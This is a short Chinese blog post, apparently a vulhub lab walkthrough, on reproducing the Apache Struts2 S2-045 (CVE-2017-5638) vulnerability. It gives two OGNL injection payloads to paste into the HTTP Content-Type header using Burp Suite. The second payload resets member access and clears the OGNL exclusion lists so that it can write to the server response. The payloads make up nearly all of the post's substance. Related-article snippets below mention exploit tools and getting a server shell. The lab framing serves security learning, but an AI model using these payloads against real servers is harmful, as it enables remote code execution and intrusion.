Struts2 s2-045

最新推荐文章于 2024-06-24 08:00:00 发布
最新推荐文章于 2024-06-24 08:00:00 发布
阅读量489 收藏
点赞数
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_76467680/article/details/131492876
版权
文章介绍了如何使用网络抓包工具Burpsuite来构造两个针对Web应用的exploit，分别是poc1和poc2，这些POC涉及到对HTTP请求中content-type字段的修改，以尝试触发Struts2框架的特定漏洞，展示了一种Web安全测试的方法。
摘要由CSDN通过智能技术生成

拉取环境：

访问页面：

3.构造poc，使用抓包工具Burpsuite，修改数据包插入poc

poc1:

%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233233)}.multipart/form-data

把上面的代码粘贴到content-type字段发送显示

poc2:

%{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)😦(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(2050)).(#ros.flush())}

同样粘贴到content-type字段

"七鹊"
关注
struts2 s2-045
03-22
struts2 s2-045
Struts2 S2-045远程执行代码漏东
最新发布
weixin_42503415的博客
07-27 124
Struts2 S2-045远程执行代码漏懂允许公鸡者通过创建恶意的HTTP请求来远程执行系统命令。具体来说，S2-045漏懂是因为在使用基于Jakarta插件的文件上传功能时，Struts2框架未能正确处理用户输入的错误信息。当进行文件上传时，如果恶意用户修改了HTTP请求头中的Content-Type值，这可能会触发异...
nmap实现 自动发现web漏洞的思路
weixin_34362875的博客
05-31 737
2019独角兽企业重金招聘Python工程师标准>>> ...
Struts2 S2-045 远程代码执行漏洞（CVE-2017-5638）
qq_68163788的博客
06-24 996
Struts2是一个基于MVC设计模式的流行且成熟的Web应用程序框架. Struts2不仅仅是Struts 1的新版本，它完全重写了Struts架构.Webwork框架最初以Struts框架为基础，其目标是提供一个基于Struts的增强和改进的框架，使开发人员更容易进行Web开发.过了一段时间，Webwork框架和Struts社区携手创建着名的Struts2框架.（也可以将struts2比作于一个大的servlet当基于Jakarta插件上传文件时，可导致远程代码执行。
Apache Struts2 远程代码执行漏洞（S2-045）技术分析与防护方案
热门推荐
xiao190128的专栏
03-10 1万+
Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞，漏洞编号为CNNVD-201703-152。攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发该漏洞，导致远程执行代码。 相关链接如下： https://cwiki.apache.org/confluence/display/WW/S2-045?
struts2漏洞s2-045，不升级jar版本的修补方法，已验证.docx
07-04
Struts2 漏洞 S2-045 修补方法 Struts2 是一个基于 Java 的 Web 应用程序框架，广泛应用于企业级应用程序中。然而，Struts2 中存在着一些漏洞，例如 S2-045 漏洞，该漏洞可能会导致严重的安全问题。今天，我们将...
修复struts2的安全漏洞(编号S2-045、S2-046)
07-18
给还用struts2框架的系统提供一个完美的解决方案，里面的struts2版本jar都统一好，大家在用的时候直接将对应的jar先删除，然后用这里面的jar包。必免jar冲突了
struts2.3.32修补S2-045漏洞所有核心jar包及依赖的jar(含core包)
03-09
S2-045漏洞是一个严重的远程代码执行（RCE）漏洞，存在于Apache Struts2的OGNL表达式语言中。这个漏洞允许攻击者通过精心构造的HTTP请求在服务器端执行任意代码，对系统安全构成极大威胁。Struts2.3.32的发布就是...
Struts2 045漏洞S2-045漏洞利用工具python 视图版
03-07
Struts2 045漏洞S2-045漏洞利用工具python 视图版 执行python exp.py后 自动弹出对话框
struts2 s2-045初探
公众号shadow sock7
06-19 1457
https://github.com/Medicean/VulApps 使用它的docker镜像 用这个poc https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-045/poc.py➜ VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:808
Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包
03-23
1.严格过滤 Content-Type 、filename里的内容，严禁ognl表达式相关字段。 2.如果您使用基于Jakarta插件，请升级到Apache Struts 2.3.32或2.5.10.1版本。（强烈推荐） 3.升级到2.3.32所用到的jar包： freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-core-2.3.32.jar struts2-spring-plugin-2.3.32.jar xwork-core-2.3.32.jar --来源 http://mvnrepository.com/artifact/org.apache.struts/struts2-spring-plugin/2.3.32
Struts2-045漏洞利用工具
08-11
Struts2-045漏洞利用工具
Apache Struts2（S2-045）漏洞升级指南
03-07
Apache Struts2（S2-045）漏洞升级指南，用于指导Apache Struts2（S2-045）漏洞的本地升级工作
struts2-045 远程代码执行漏洞（CVE-2017-5638）
rumil的博客
06-02 1386
解析了以后，我们借助第三方工具，来进行生成木马文件，然后进行随意上传文件，进行漏洞检测，然后上传木马文件，获取服务器的shell。接下来我们尝试去上传文件（随便上传），然后抓取数据包，修改数据包，然后观察响应数据的变化。观察上传访问路径，进行复制，使用第三方工具（哥斯拉）进行连接。抓取数据包，修改数据包，查看修改后，收到的响应数据。连接成功，进行添加，进入，成功拿到服务器shell。查看是否能够上传成功，观察到已经上传成功。将随意的文件尝试上传，观察url变化。点击文件上传模块，尝试上传木马文件。
Web框架漏洞--Struts2 漏洞S2-045
qq_54713392的博客
05-08 1383
Web框架漏洞–Struts2 漏洞S2-045 漏洞原理： 在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。 攻击机：window10 IP:192.168.32.1 靶机：ubantu16.04 IP：192.168.32.142 （1）使用vulhub靶场，进入到s2-045漏洞目录下 开启s2-045环境 执行命令：docker-compose
Apache Struts2 S2-045远程命令执行漏洞（CVE-2017-5638）复现
qq_40640917的博客
02-23 2429
Apache Struts2是Apache项目下的一个web 框架，帮助Java开发者利用J2EE来开发Web相关应用。Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞，攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发该漏洞，导致远程执行代码。
漏洞复现 - - -Struts2(s2-045)远程命令执行漏洞
weixin_67503304的博客
08-22 7546
从源码的角度分析Struts2(s2-045)远程命令执行漏洞，利用java详细讲解造成漏洞的原因，包含了Structs2高危漏洞exp的扫描利用工具
Struts2漏洞 - Struts2-015 Struts2-016 Struts2-045
HAKUNAMATATATTA的博客
12-21 2873
Apache Struts是美国阿帕奇（Apache）软件基金会负责维护的一个开源项目，是一套用于创建企业级Java Web 应用的开源MVC框架，主要提供两个版本框架产品： Struts 1和Struts2；Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts2 S2-045漏洞分析：远程代码执行与Jakarta Multipart解析
Struts S2-045漏洞是一个影响Apache Struts2框架的严重安全问题，它出现在使用Jakarta Multipart解析器进行文件上传时。官方公告指出，恶意的Content-Type值可能导致远程代码执行。当Content-Type头无效时，会引发...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值